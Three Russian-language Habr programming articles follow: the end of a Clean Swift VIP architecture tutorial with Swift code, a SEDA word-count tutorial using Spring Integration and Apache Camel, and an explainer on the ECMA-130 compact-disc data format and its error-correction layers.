Для **ViewController’a** создается протокол **DisplayLogic**, ссылка на который передается в **Presenter** для последующего вызова. Для **Interactor’a** создаются два протокола **BusinessLogic**, отвечающий за вызов методов из **ViewController’a**, и **DataSource**, для хранения данных и передачу через **Router** в **Interactor** другой сцены. Presenter подписывается под протокол **PresentationLogic**, для вызова из **Interactor’a**. Связующим элементом всего этого выступает **Models**. Он содержит в себе структуры, с помощью которых идет обмен информаций между компонентами **VIP** цикла. С него и начнем разбор кода.
### Models
В примере ниже, для сцены **Home**, я создал файл **HomeModels**, который содержит в себе набор запросов для **VIP** цикла.
Запрос **FetchUser** будет отвечать за подгрузку данных о пользователе, который мы и будем рассматривать дальше.
```
// Models
/// Модель для передачи данных в VIP цикле
enum HomeModels {
/// Набор запросов для одного VIP цикла
enum FetchUser {
/// Запрос к Interactor из View Controller
struct Request {
let userName: String
}
/// Запрос к Presentor из Interactor
struct Response {
let userPhone: String
let userEmail: String
}
/// Запрос к View Controller из Presentor
struct ViewModel {
let userPhone: String
let userEmail: String
}
}
}
```
### ViewController
При инициализации класса мы создаем экземпляры классов **Interactor’a** и **Presenter’a** этой сцены и устанавливаем зависимости между ними.
Далее во **ViewController’e** остается ссылка только на **Interactor**. С помощью этой ссылки мы будем создавать запрос к методу **fetchUser(request:)** в **Interactor’е**, для запуска **VIP** цикла.
Здесь стоит обратить внимание, как происходит запрос к **Interactor**. В методе **loadUserInfromation()** мы создаем экземпляр структуры **Request**, куда передаем начальное значение. Оно может быть взято из **TextField**, таблицы и так далее. Экземпляр структуры **Request** передается в метод **fetchUser(request:)**, который находится в протоколе **BusinessLogic** нашего **Interactor’a**.
```
// ViewController
/// Протокол логики для отображения подготовленной информации
protocol HomeDisplayLogic: class {
/// Метод логики отображения данных
func displayUser(_ viewModel: HomeModels.FetchUser.ViewModel)
}
final class HomeViewController: UIViewController {
/// Ссылка на протокол бизнес логики Interactor'a сцены
var interactor: HomeBusinessLogic?
override init(nibName nibNameOrNil: String?, bundle nibBundleOrNil: Bundle?) {
super.init(nibName: nibNameOrNil, bundle: nibBundleOrNil)
setup()
}
required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
setup()
}
/// Метод для стартовой настройки компонентов сцены
private func setup() {
// Создаем компоненты VIP цикла
let interactor = HomeInteractor()
let presenter = HomePresenter()
// Связываем созданные компоненты
interactor.presenter = presenter
presenter.viewController = self
// Указываем ссылку на Interactor для View Controller
self.interactor = interactor
}
override func viewDidLoad() {
super.viewDidLoad()
// Запускаем метод подгрузки данных при показе сцены
fetchUser()
}
/// Делаем запрос к Interactor для получения данных
private func loadUserInfromation() {
// Создаем экземпляр запроса к Interactor с параметрами
let request = HomeModels.FetchUser.Request(userName: "Aleksey")
// Вызываем метод бизнес логики у Interactor'a
interactor?.fetchUser(request)
}
}
/// Подписываем контроллер под протокол HomeDisplayLogic
extension HomeViewController: HomeDisplayLogic {
func displayUser(_ viewModel: HomeModels.FetchUser.ViewModel) {
print(viewModel)
}
}
```
### Interactor
Экземпляр класса **Interactor’a** содержит в себе ссылку на протокол **PresentationLogic**, под который подписан **Presenter**.
В методе **fetchUser(request:)**, может содержаться любая логика подгрузки данных. Для примера я просто создал константы, с якобы полученными данными.
В этом же методе создается экземпляр структуры **Response** и заполняется, полученными ранее, параметрами. **Response** передается в **PresentationLogic** с помощью метода **presentUser(response:)**. Другими словами, здесь мы получили сырые данные и передали их на обработку в **Presenter**.
```
// Interactor
/// Протокол бизнес логики Interactor'a
protocol HomeBusinessLogic: class {
/// Метод получения данных из сети или других источников
func fetchUser(_ request: HomeModels.FetchUser.Request)
}
final class HomeInteractor: HomeBusinessLogic {
/// Ссылка на логику презентора сцены
var presenter: HomePresentationLogic?
func fetchUser(_ request: HomeModels.FetchUser.Request) {
// Здесь должен быть код получения данных
// Для примера просто создадим константы
let userPhone = "+7 (999) 111-22-33"
let userEmail = "im@alekseypleshkov.ru"
// ...
// Создаем запрос к Presentor'у с необходимыми данными
let response = HomeModels.FetchUser.Response(userPhone: userPhone, userEmail: userEmail)
// Вызываем метод логики презентации у Presentor'а
presenter?.presentUser(response)
}
}
```
### Presenter
Имеет ссылку на протокол **DisplayLogic**, под который подписан **ViewController**. Не содержит никакой бизнес логики, а только форматирует полученные данные перед отображением. В примере мы отформатировали номер телефона, подготовили экземпляр структуры **ViewModel** и передали его на **ViewController**, с помощью метода **displayUser(viewModel:)** в протоколе **DisplayLogic**, где уже происходит отображение данных.
```
/// Протокол логики презентации
protocol HomePresentationLogic: class {
/// Метод форматирования полученных данных с Interactor'a
func presentUser(_ response: HomeModels.FetchUser.Response)
}
final class HomePresenter: HomePresentationLogic {
/// Ссылка на логику отображения View Controller'a
weak var viewController: HomeDisplayLogic?
func presentUser(_ response: HomeModels.FetchUser.Response) {
// Для примера отформатируем номер телефона
let formattedPhone = response.userPhone.replacingOccurrences(of: "-", with: " ")
// Создаем экземляр ViewModel для отправки в View Controller
let viewModel = HomeModels.FetchUser.ViewModel(userPhone: formattedPhone, userEmail: response.userEmail)
// Вызываем метод логики отображения у View Controller'a
viewController?.displayUser(viewModel)
}
}
```
Заключение
----------
С данной архитектурой мы получили возможность распределить обязанности, улучшить удобство тестирования приложения, ввести заменяемость отдельных участков реализации и стандарт написания кода для работы в команде.
Спасибо, что дочитали до конца.
### Серия статей
1. Общее представление об архитектуре Clean Swift (вы здесь)
2. [Router и Data Passing в архитектуре Clean Swift](https://habr.com/ru/post/454032/)
3. [Workers архитектуры Clean Swift](https://habr.com/ru/post/465991/)
4. [Unit тестирование в архитектуре Clean Swift](https://habr.com/ru/post/483882/)
5. Пример простого интернет-магазина на архитектуре Clean Swift
Все компоненты сцены: [Ссылка](https://gist.github.com/AlekseyPleshkov/0682bd2f977fa6c6046cb172363b753b)
Помощь в написании статьи: [Bastien](https://habr.com/ru/users/bastien/) | https://habr.com/ru/post/453986/ | null | ru | null |
# Использование SEDA со Spring Integration и Apache Camel
1. Введение
-----------
SEDA, или Staged Event-Driven Architecture, представляет собой архитектурный стиль, предложенный Мэттом Уэлшем в его [докторской диссертации. диссертация](https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.18.9268&rep=rep1&type=pdf). Его основными преимуществами являются масштабируемость, поддержка высококонкурентного трафика и удобство эксплуатации.
В этом туториале мы будем использовать SEDA для подсчета уникальных слов в предложении с помощью двух разных реализаций: [Spring Integration](https://www.baeldung.com/spring-integration) и [Apache Camel](https://www.baeldung.com/apache-camel-intro).
2. Обзор SEDA
-------------
**SEDA удовлетворяет несколько нефункциональных требований, характерных для онлайн-сервисов:**
1. **Высокий параллелизм**. Архитектура должна поддерживать максимально возможное количество одновременных запросов.
2. **Динамический контент**. Программные системы часто должны поддерживать сложные сценарии использования в бизнесе, требующие множества шагов для обработки запросов пользователей и генерации ответов.
3. **Устойчивость к нагрузкам**. Пользовательский трафик для онлайн-сервисов может быть непредсказуемым, и архитектура должна легко справляться с изменениями объема трафика.
Для удовлетворения этих требований **SEDA декомпозирует** **сложные сервисы на управляемые событиями** **этапы**. Эти этапы косвенно связаны с очередями и поэтому могут быть полностью отделены друг от друга. Кроме того, каждый этап имеет механизм масштабирования, чтобы справиться с входящей нагрузкой:
На приведенной выше диаграмме из статьи Мэтта Уэлша показана общая структура веб-сервера, реализованного с помощью SEDA. Каждый прямоугольник представляет собой один этап обработки входящего HTTP-запроса. Этапы могут независимо потреблять задания из своих входящих очередей, выполнять некоторую обработку или ввод/вывод, а затем передавать сообщение в следующую очередь.
### 2.1. Компоненты
Чтобы лучше понять компоненты SEDA, давайте посмотрим, как эта диаграмма из диссертации Мэтта Уэлша показывает внутреннюю работу одного этапа:
Как мы видим, каждый этап SEDA состоит из следующих компонентов:
* **Событие: события — это структуры данных, содержащие любые данные, необходимые этапу** **для выполнения его обработки**. Например, для веб-сервера HTTP события могут содержать данные пользователя, такие как тело, заголовок и параметры запроса, а также данные инфраструктуры, такие как IP-адрес пользователя, временная метка запроса и т. д.
* **Очередь событий**: здесь хранятся входящие события этапа.
* **Обработчик событий**: **обработчик событий содержит процедурную логику этапа.**Это может быть простой этап маршрутизации, пересылающий данные из своей очереди событий в другие соответствующие очереди событий, или более сложный этап, на котором данные обрабатываются каким-либо образом. Обработчик событий может считывать события по отдельности или пакетно — последний вариант полезен, когда пакетная обработка дает преимущество в производительности, например обновление нескольких записей базы данных одним запросом.
* **Исходящие события**: в зависимости от сценария использования и общей структуры потока каждый этап может отправлять новые события в ноль или более очередей событий. **Создание и отправка исходящих сообщений осуществляется в методе обработчика событий.**
* **Пул потоков**: многопоточность — это хорошо известный механизм параллелизма. **В SEDA потоки локализованы и настроены для каждого этапа.**Другими словами, каждый этап поддерживает свой пул потоков. Таким образом, в отличие от модели «один поток на запрос», в SEDA каждый запрос пользователя обрабатывается несколькими потоками. Эта модель позволяет нам настраивать каждый этап независимо в зависимости от его сложности.
* **Контроллеры**: контроллер SEDA — это любой механизм, который управляет потреблением ресурсов, таких как размер пула потоков, размер очереди событий, планирование и т. д. **Контроллеры отвечают за эластичное поведение SEDA**. Простой контроллер может управлять количеством активных потоков в каждом пуле потоков. Более сложный контроллер может реализовать сложные алгоритмы настройки производительности, которые отслеживают все приложение во время выполнения и настраивают различные параметры. Более того, контроллеры отделяют логику настройки производительности от бизнес-логики. Такое разделение задач облегчает сопровождение нашего кода.
Собрав все эти компоненты вместе, SEDA обеспечивает надежное решение для работы с высокими и неустойчивыми нагрузками трафика.
3. Пример задачи
----------------
В следующих разделах мы создадим две реализации, решающие одну и ту же проблему с помощью SEDA.
Задача нашего примера будет простой: **подсчитать, сколько раз каждое слово встречается в заданной строке без учета регистра**.
Давайте определим слово как последовательность символов без пробелов и проигнорируем другие сложности, такие как пунктуация. На выходе мы получим карту, содержащую слова в качестве ключей и счетчики в качестве значений. Например, при вводе «*My name is Hesam*» вывод будет таким:
```
{
"my": 1,
"name": 1,
"is": 1,
"hesam": 1
}
```
### 3.1. Адаптация задачи к SEDA
Давайте посмотрим на нашу задачу с точки зрения этапов SEDA. **Поскольку масштабируемость является основной целью SEDA, обычно лучше проектировать небольшие этапы, ориентированные на конкретные операции, особенно если у нас есть задачи с интенсивным вводом-выводом**. Кроме того, наличие небольших этапов помогает нам лучше настроить масштаб каждого этапа.
Чтобы решить нашу задачу подсчета слов, мы можем реализовать решение со следующими этапами:
Пример потока подсчета словТеперь, когда у нас есть схема этапов, давайте реализуем ее в следующих разделах, используя две разные технологии корпоративной интеграции. В приведенной таблице показано, как SEDA будет отображаться в наших реализациях:
| Компонент SEDA | Spring Integration | Apache Camel |
| --- | --- | --- |
| Event | *org.springframework.messaging.Message* | *org.apache.camel.Exchange* |
| Event Queue | *org.springframework.integration.channel* | Конечные точки, определяемые строками URI |
| Event Handler | Экземпляры функциональных интерфейсов | Процессоры, классы утилит и функции Camel |
| Thread Pool | Spring абстракция *TaskExecutor* | Встроенная поддержка в конечных точках SEDA |
4. Решение с использованием Spring Integration
----------------------------------------------
Для нашей первой реализации мы будем использовать Spring Integration. **Spring Integration основывается на модели Spring для поддержки популярных шаблонов корпоративной интеграции**.
Spring Integration состоит из трех основных компонентов:
1. **Сообщение представляет собой структуру данных, состоящую из заголовка и тела.**
2. **Канал передает** **сообщения от одной конечной точки к другой конечной точке.**В Spring Integration существует два вида каналов:
* точка-точка: только одна конечная точка может потреблять сообщения в этом канале.
* публикация-подписка: несколько конечных точек могут потреблять сообщения в этом канале.
3. **Конечная точка направляет сообщение компоненту приложения, выполняющему определенную** **бизнес-логику.**В Spring Integration существует множество конечных точек, таких как трансформеры, маршрутизаторы, активаторы сервисов и фильтры.
Давайте рассмотрим общий вид нашего решения Spring Integration:
### 4.1. Зависимости
Давайте начнем с добавления зависимостей для [Spring Integration,](https://search.maven.org/artifact/org.springframework.boot/spring-boot-starter-integration)[Spring Boot Test](https://search.maven.org/artifact/org.springframework.boot/spring-boot-starter-test) и [Spring Integration Test](https://search.maven.org/artifact/org.springframework.integration/spring-integration-test):
```
org.springframework.boot
spring-boot-starter-integration
org.springframework.boot
spring-boot-starter-test
test
org.springframework.integration
spring-integration-test
test
```
### 4.2. Шлюз обмена сообщениями
**Шлюз**[**обмена сообщениями**](https://www.enterpriseintegrationpatterns.com/MessagingGateway.html)**— это прокси, который скрывает сложность отправки сообщения в потоки интеграции.**Давайте настроим его для нашего потока Spring Integration:
```
@MessagingGateway
public interface IncomingGateway {
@Gateway(requestChannel = "receiveTextChannel", replyChannel = "returnResponseChannel")
public Map countWords(String input);
}
```
Позже мы сможем использовать этот метод шлюза для тестирования всего нашего потока:
```
incomingGateway.countWords("My name is Hesam");
```
Spring оборачивает входные данные *«*My name is Hesam*»* в экземпляр *org.springframework.messaging.Message* и передает их в *receiveTextChannel*, а затем выдает нам конечный результат в *returnResponseChannel*.
### 4.3. Каналы сообщений
В этом разделе мы рассмотрим, как настроить канал исходящих сообщений нашего шлюза *receiveTextChannel*.
**В SEDA каналы должны быть масштабируемыми с помощью связанного пула потоков**, поэтому начнем с создания пула потоков:
```
@Bean("receiveTextChannelThreadPool")
TaskExecutor receiveTextChannelThreadPool() {
ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
executor.setCorePoolSize(1);
executor.setMaxPoolSize(5);
executor.setThreadNamePrefix("receive-text-channel-thread-pool");
executor.initialize();
return executor;
}
```
Далее мы используем наш пул потоков для создания канала:
```
@Bean(name = "receiveTextChannel")
MessageChannel getReceiveTextChannel() {
return MessageChannels.executor("receive-text", receiveTextChannelThreadPool)
.get();
}
```
*MessageChannels* — это класс Spring Integration, который помогает нам создавать каналы различных типов. Здесь мы используем метод *executor()* для создания *ExecutorChannel*, который представляет собой канал, управляемым пулом потоков.
Другие наши каналы и пулы потоков настраиваются так же, как описано выше.
### 4.4. Этап получения текста
Когда наши каналы настроены, мы можем приступить к реализации наших этапов. Давайте создадим наш начальный этап:
```
@Bean
IntegrationFlow receiveText() {
return IntegrationFlows.from(receiveTextChannel)
.channel(splitWordsChannel)
.get();
}
```
***IntegrationFlows* — это свободный API интеграции Spring для создания объектов *IntegrationFlow*, представляющих этапы нашего потока.**Метод*from()* настраивает входящий канал нашего этапа, а*channel()* настраивает исходящий канал.
В этом примере наш этап передает входное сообщение нашего шлюза в *splitWordsChannel*.
В производственном приложении этот этап может быть более сложным и требовать интенсивного ввода-вывода для считывания сообщений из постоянной очереди или по сети.
### 4.5. Этап разделения слов
Наш следующий этап имеет единственную задачу: *разделить нашу входную строку на массив строк отдельных слов в предложении*:
```
@Bean
IntegrationFlow splitWords() {
return IntegrationFlows.from(splitWordsChannel)
.transform(splitWordsFunction)
.channel(toLowerCaseChannel)
.get();
}
```
В дополнение к вызовам *from()* и *channel()*, которые мы использовали ранее, здесь мы также используем *transform()*, который применяет предоставленную *функцию* к нашему входному сообщению. Наша реализация *splitWordsFunction* очень проста:
```
final Function splitWordsFunction = sentence -> sentence.split(" ");
```
### 4.6. Этап преобразования в нижний регистр
На этом этапе каждое слово в нашем String массиве *преобразуется в нижний регистр:*
```
@Bean
IntegrationFlow toLowerCase() {
return IntegrationFlows.from(toLowerCaseChannel)
.split()
.transform(toLowerCase)
.aggregate(aggregatorSpec -> aggregatorSpec.releaseStrategy(listSizeReached)
.outputProcessor(buildMessageWithListPayload))
.channel(countWordsChannel)
.get();
}
```
Первый новый метод *IntegrationFlows, который мы здесь используем,* это*split()*. **Метод *split()* использует** [**паттерн splitter**](https://www.enterpriseintegrationpatterns.com/Sequencer.html)**для отправки каждого элемента нашего входного сообщения в *toLowerCase* в виде отдельных сообщений.**
Следующий новый метод, который мы используем, это *aggregate()*, который реализует шаблон агрегатора. **Шаблон**[**агрегатора**](https://www.enterpriseintegrationpatterns.com/Aggregator.html)**имеет два аргумента:**
1. **стратегия публикации,** которая определяет, **когда** объединять сообщения в одно;
2. **процессор,** который определяет, **как** объединить сообщения в одно.
Наша функция стратегии публикации использует функцию *listSizeReached*, которая указывает агрегатору начать агрегацию, когда все элементы входного массива будут собраны:
```
final ReleaseStrategy listSizeReached = r -> r.size() == r.getSequenceSize();
```
Затем процессор *buildMessageWithListPayload* упаковывает наши результаты в нижнем регистре в *список*:
```
final MessageGroupProcessor buildMessageWithListPayload = messageGroup ->
MessageBuilder.withPayload(messageGroup.streamMessages()
.map(Message::getPayload)
.toList())
.build();
```
### 4.7. Этап подсчета слов
На последнем этапе количество слов упаковывается в *Map*, где ключами являются слова из исходного текста, а значениями — количество вхождений каждого слова:
```
@Bean
IntegrationFlow countWords() {
return IntegrationFlows.from(countWordsChannel)
.transform(convertArrayListToCountMap)
.channel(returnResponseChannel)
.get();
}
```
Здесь мы используем нашу функцию *convertArrayListToCountMap* для упаковки наших счетчиков в виде *карты*:
```
final Function, Map> convertArrayListToCountMap = list -> list.stream()
.collect(Collectors.groupingBy(Function.identity(), Collectors.counting()));
```
### 4.8. Тестирование нашего потока
Мы можем передать начальное сообщение в метод шлюза, чтобы протестировать наш поток:
```
public class SpringIntegrationSedaIntegrationTest {
@Autowired
TestGateway testGateway;
@Test
void givenTextWithCapitalAndSmallCaseAndWithoutDuplicateWords_whenCallingCountWordOnGateway_thenWordCountReturnedAsMap() {
Map actual = testGateway.countWords("My name is Hesam");
Map expected = new HashMap<>();
expected.put("my", 1L);
expected.put("name", 1L);
expected.put("is", 1L);
expected.put("hesam", 1L);
assertEquals(expected, actual);
}
}
```
5. Решение с помощью Apache Camel
---------------------------------
Apache Camel — это популярный и мощный фреймворк интеграции с открытым исходным кодом. Он основан на четырех основных концепциях:
1. Контекст Camel: среда выполнения Camel объединяет разные части.
2. Маршруты: маршрут определяет, как должно быть обработано сообщение и куда оно должно быть направлено дальше.
3. Процессоры: это готовые к использованию реализации различных шаблонов корпоративной интеграции.
4. Компоненты: Компоненты — это точки расширения для интеграции внешних систем через JMS, HTTP, файловый ввод-вывод и т. д.
**В Apache Camel есть компонент, предназначенный для функциональности SEDA**, что упрощает создание приложений SEDA.
### 5.1. Зависимости
Давайте добавим необходимые зависимости Maven для [Apache Camel](https://mvnrepository.com/artifact/org.apache.camel/camel-core) и [Apache Camel Test](https://mvnrepository.com/artifact/org.apache.camel/camel-test-junit5):
```
org.apache.camel
camel-core
3.18.0
org.apache.camel
camel-test-junit5
3.18.0
test
```
### 5.2. Определение конечных точек SEDA
Сначала нам нужно определить конечные точки. Конечная точка — это компонент, определенный с помощью строки URI. Конечные точки SEDA должны начинаться с «*seda:[endpointName]*»:
```
static final String receiveTextUri = "seda:receiveText?concurrentConsumers=5";
static final String splitWordsUri = "seda:splitWords?concurrentConsumers=5";
static final String toLowerCaseUri = "seda:toLowerCase?concurrentConsumers=5";
static final String countWordsUri = "seda:countWords?concurrentConsumers=5";
static final String returnResponse = "mock:result";
```
Как мы видим, **каждая конечная точка настроена на пять одновременных потребителей.**Это эквивалентно наличию максимум 5 потоков для каждой конечной точки.
В целях тестирования *returnResponse* является имитацией конечной точки.
### 5.3. Расширение RouteBuilder
Далее давайте определим класс, который расширяет класс *RouteBuilder* Apache Camel и переопределяет его метод configure(). Этот класс подключает все конечные точки SEDA:
```
public class WordCountRoute extends RouteBuilder {
@Override
public void configure() throws Exception {
}
}
```
В следующих разделах мы определим наши этапы, добавляя строки в метод *configure()*, используя подходящие методы, унаследованные от *RouteBuilder*.
### 5.4. Этап получения текста
Этот этап получает сообщения от конечной точки SEDA и направляет их на следующий этап без какой-либо обработки:
```
from(receiveTextUri).to(splitWordsUri);
```
Здесь мы использовали унаследованный метод *from()* для задания входящей конечной точки и *to()* для задания исходящей конечной точки.
#### 5.5. Этап разделения слов
Давайте реализуем этап разбиения входного текста на отдельные слова:
```
from(splitWordsUri)
.transform(ExpressionBuilder.bodyExpression(s -> s.toString().split(" ")))
.to(toLowerCaseUri);
```
Метод *transform()* применяет нашу *функцию* к входному сообщению, разбивая его на массив.
### 5.6. Преобразование в нижний регистр
Наша следующая задача — преобразовать каждое слово во входном сообщении в нижний регистр. Поскольку нам нужно применить нашу функцию преобразования к каждой *строке* в сообщении, а не к самому массиву, мы будем использовать метод *split()* как для разделения входного сообщения для обработки, так и для последующего объединения результатов обратно в *ArrayList*:
```
from(toLowerCaseUri)
.split(body(), new ArrayListAggregationStrategy())
.transform(ExpressionBuilder.bodyExpression(body -> body.toString().toLowerCase()))
.end()
.to(countWordsUri);
```
Метод *end()* отмечает окончание процесса разделения. После преобразования каждого элемента в списке Apache Camel применяет заданную нами стратегию агрегирования *ArrayListAggregationStrategy.*
*ArrayListAggregationStrategy* расширяет метод *AbstractListAggregationStrategy* Apache Camel, чтобы определить, какая часть сообщения должна быть агрегирована. В данном случае тело сообщения представляет собой новое слово в нижнем регистре:
```
class ArrayListAggregationStrategy extends AbstractListAggregationStrategy {
@Override
public String getValue(Exchange exchange) {
return exchange.getIn()
.getBody(String.class);
}
}
```
### 5.7. Этап подсчета слов
На последнем этапе используется трансформер для преобразования массива в карту слов и их количества:
```
from(countWordsUri)
.transform(ExpressionBuilder.bodyExpression(List.class, body -> body.stream()
.collect(Collectors.groupingBy(Function.identity(), Collectors.counting()))))
.to(returnResponse);
```
### 5.8. Тестирование нашего маршрута
Давайте протестируем наш маршрут:
```
public class ApacheCamelSedaIntegrationTest extends CamelTestSupport {
@Test
public void givenTextWithCapitalAndSmallCaseAndWithoutDuplicateWords_whenSendingTextToInputUri_thenWordCountReturnedAsMap()
throws InterruptedException {
Map expected = new HashMap<>();
expected.put("my", 1L);
expected.put("name", 1L);
expected.put("is", 1L);
expected.put("hesam", 1L);
getMockEndpoint(WordCountRoute.returnResponse).expectedBodiesReceived(expected);
template.sendBody(WordCountRoute.receiveTextUri, "My name is Hesam");
assertMockEndpointsSatisfied();
}
@Override
protected RoutesBuilder createRouteBuilder() throws Exception {
RoutesBuilder wordCountRoute = new WordCountRoute();
return wordCountRoute;
}
}
```
*Суперкласс CamelTestSupport* предоставляет множество полей и методов, которые помогут протестировать наш поток. Мы используем *getMockEndpoint()* и expectBodiesReceived( *)* для установки ожидаемого результата, а также *template.sendBody()* для отправки тестовых данных в нашу фиктивную конечную точку. Наконец, мы используем *assertMockEndpointsSatisfied()* для проверки соответствия наших ожиданий реальным результатам.
6. Заключение
-------------
В этой статье мы узнали о SEDA, его компонентах и сценариях использования. Затем мы рассмотрели, как использовать SEDA для решения той же задачи, используя сначала Spring Integration, а затем Apache Camel.
Как всегда, исходный код примеров доступен [на GitHub](https://github.com/eugenp/tutorials/tree/master/patterns-modules/design-patterns-architectural). | https://habr.com/ru/post/696978/ | null | ru | null |
# ECMA-130 (Compact Disc) на пальцах
Три переезда равно одному пожару. Выгребая старый ящик, пропахший ацетоном, с многослойной пылью на донышке (как хорошо, что жена не видела) я наткнулся на до боли знакомые мне компакт диски. Вот один из любимых фильмов детства… а вот моя когда-то любимая аркадная игрушка…
Странная вещь — любопытство. Вот на столе экземпляр CD — [безнадёжно устаревшего в наш просвященный XXI век](http://www.youtube.com/watch?v=sPgqm65Hh6I) формата хранения данных; а все таки интересно, как же там хранятся данные?.. Каков сам стек хранения данных?.. Как исправляются ошибки?.. Какова избыточность кода?..
В детстве мне было достаточно знаний о лазерном луче, о какой-то головке, об «этой крутящийся штуки» и о [таинственных питах](https://ru.wikipedia.org/wiki/%D0%9F%D0%B8%D1%82).
Сказано — сделано. Проглядев стандарт [ECMA-130](http://www.ecma-international.org/publications/standards/Ecma-130.htm) (есть, кстати и отечественный стандарт: [ГОСТ 27667-88](http://gostrf.com/normadata/1/4294827/4294827044.pdf)) обнаружил массу любопытных деталей. Например, я догадывался об избыточности, но я и подумать не мог, что для записи **700 Мб** данных «в реальности» записывается **1943 Мб** (То есть в **2.776** раз больше)…
Схематично весь стек можно представить картинкой:
Стек рассмотрим «сверху вниз».
То есть от момента передачи данных приводу до записи самих питов.
Следует сказать, что не вся область диска используется для записи/хранения/чтения информации.
Компакт диск разделен на **зоны** (**areas**):
1. **Centre Hole (Центральное отверстие )** — это «та самая дырочка» диаметром **15** мм (±**0.1** мм), за которую прикрепляется сам диск.
2. **First transition area (Первая переходная зона)** — «кольцо», между **15** и **20** мм от центра диска.
3. **Сlamping area (Зона зажима)** — как понятно из названия это область необходима, чтобы диск «не скакал» при чтении / записи. (26-33 мм)
4. **Second transition area (Вторая переходная зона)** — «второе кольцо», между **33** и **44** мм от центра диска.
5. **Information area (Зона информации)** — это «информационно полезная» часть компакт диска. Находится на расстоянии от **44** мм до **118** мм от центра.
6. **Rim area (обод)** — последняя область. Представляет собой кольцо от **118** мм до **120** мм от центра.
Именно *зона информации* нам и интересна, поэтому о ней скажем более подробно. *Information area* разделяется на следующие «подзоны»:
* inner buffer zone (зона ввода)
* user data zone (зона программы)
* outer buffer zone (зона вывода)
Все три перевода сделаны ГОСТом… Так что от себя переводить не буду. При чем здесь «программа», когда речь идет о данных — ума приложить не могу. Если кто-то на Хабре сможет мне ответить, почему **user data zone** перевели как «зона программы» я буду крайне признателен!
Уф… С физическим ликбезом, надеюсь, покончили. Разумеется, я упустил многие моменты, связанные с ширинами и длинами; с методом покрытия; длиной волны луча; и прочими физическими свойствами. Однако, во-первых это не является целью данной статьи; во-вторых я и сам больше половины информации пока не разобрал. Да и нет желания, если честно… Мое любопытство чисто «программистской» направленности ;)
Information Tracks («Информационные дорожки»)
=============================================
Первая фаза — это разбиение на «информационные дорожки». Уже тут есть два варианта записи, в цифровом виде (**Digital Data Tracks, DDT**) и аудиоданные (**Audio Tracks**).
В дальнейшем будем рассматривать только цифровые данные. Вся нижеследующая информация корректна только для **DDT**.
Sector (Сектор)
===============
Данные разбиваются по 8 бит (по одному байту) и группируются в **секторы**.
Забавно, что количество секторов в диске не определено стандартом. Оно зависит от того, сколько данных «получиться» записать на диск…
Это кажется немного нелепым. Тем не менее эту нелепость в свою эпоху использовали различные компании по обнаружению контрафактных дисков. (Так как это «уход в сторону», то написал подробнее под спойлером чуть ниже, в конце главы.)
Разумеется, длина дорожки более-менее фиксирована и в целом [QoS](https://ru.wikipedia.org/wiki/QoS) гарантировать можно.
Существует три способа (mode) записи данных в секторах:
* **Sector Mode (00)** — это пустой сектор, заполняемый данными, состоящие из 0x00 байтов.
* **Sector Mode (01)** — использование **EDC**, **P-Q** и **CIRC** кодирование. (об этом чуть ниже)
* **Sector Mode (02)** — отсутствие P и Q кодирования, только **CIRC** кодирование
Приведем картинки:
**Метод определения контрафактного диска**Метод, как и все гениальное, прост.
**Запись лицензионного ключа**.
1. Следует сначала записать всю необходимую информацию на диск.
2. Затем мы выбраем 2 сектора. Например 103123 и 120234 сектора. Обозначим эти сектора как **A** и **Б**.
3. Выбираем два байта: по одному байту на каждом секторе. Например 4й байт первого сектора и 8й байт второго
4. Затем следует подсчитать **угол** между этими байтами на секторе. Как это сделать? Предположим, у вас есть доступ к низкоуровневому драйверу чтения и вы знаете время одного оборота.Тогда следует вычислить время, потраченное на считывание между **А** и **Б**. Поделив это время на время одного оборота можно с определенной погрешностью вычислить угол.
5. Зачение угла, округленное до определенного знака, подается на вход [хеш-функции](https://ru.wikipedia.org/wiki/%D0%A5%D0%B5%D1%88%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5). У хеш-значения берутся несколько символов, например последние 3 символа.
6. Эти три символа записываются в лицензионный ключ.
**Процедура проверки лицензионного ключа**.
1. У пользователя просят ввести лицензионный ключ.
2. Вычисляем угол между выбранными байтами **A** и **Б** секторами
3. Вычисляем проверяемый список углов. Например мы вычислили угол 33,343°. Предположим, что округление происходит с точностью до градуса. Округляем и получаем 33°. Предположим, что погрешность ±2°. Список углов: [31°, 32°, 33°, 34°, 35°].
4. Для каждого угла из списка вычисляем хеш. Берем несколько символов из хеша. Для примера — последние 3 символа
Если хотя бы один хеш из списка совпал с хешем из лицензионного ключа, то делаем вывод, что диск лицензионный. Иначе диск контрафактный
Коррекция ошибок (только Sector Mode 01)
=========================================
Полезная информация (**User Mode**) состоит из **2048** байт в режиме **01**; или **2336** байт в режиме **02**.
Какой режим выбрать? Все зависит от того, какое требование надежности вам требуется.
Sector Mode 01 надежнее, так как в нем используются дополнительно **EDC** проверка и **P-Q** кодирование.
EDC
----
**Error Detection Code (EDC)**, как понятно по названию, предназначен только для обнаружения, но не для исправления ошибок.
Вот его полином: **P(x)=(x16+x15+x2+1)(x16+x2+x+1)**
Intermediate
-------------
Восемь байт поля **Intermediate** заполняются нулевыми байтами (**0x00**).
Вот уж не знаю зачем их оставили… Может «про запас» (в IT стандартах это любят), ~~а может это коварный план стеганографической передачи данных.~~
P и Q кодирование (RSPC)
-------------------------
**Reed-Solomon Product-like Code (RSPC)**, оно же **P+Q** кодирование используется с **12** по **2075** байт данных в режиме **01**. Подробности опущу, вы можете прочесть их в [Annex A стандарта ECMA-130](http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-130.pdf).
Байты с **12** по **2075** и проверочные с **2 076** по **2 351** составляют **2340** байт данных. Эти данные разбиваются на два блока по **1170** байт каждый. Разбиение происходит как в школьных уроках физкультуры. "*На перррвый- вторрррой рассчитась!*". То есть на нечетные и четные байты.
Дальше идет кодирование внешним и внутренними кодами. Внешний называется **P-кодированием**, внутренний **Q-кодированием**.
**Картинка с P и Q кодированием**
**Для большего понимания: картинка только с Q кодированием**
Самая сложная в понимании стека **ECMA-130** пройдена. Теперь будет значительно проще.
Скремблирование
===============
Переходим к скремблированию. Вот так выглядит один сектор скремблирования:
Каждый такой сектор называют **Scrambled Sector**.
**А что такое ''скремблирование'' и зачем это нужно?**О смысле скремблирования кратко и емко [в комментарии к одному из моих постов](http://habrahabr.ru/post/225593/#comment_7675883) написал [snapdragon](https://habrahabr.ru/users/snapdragon/)
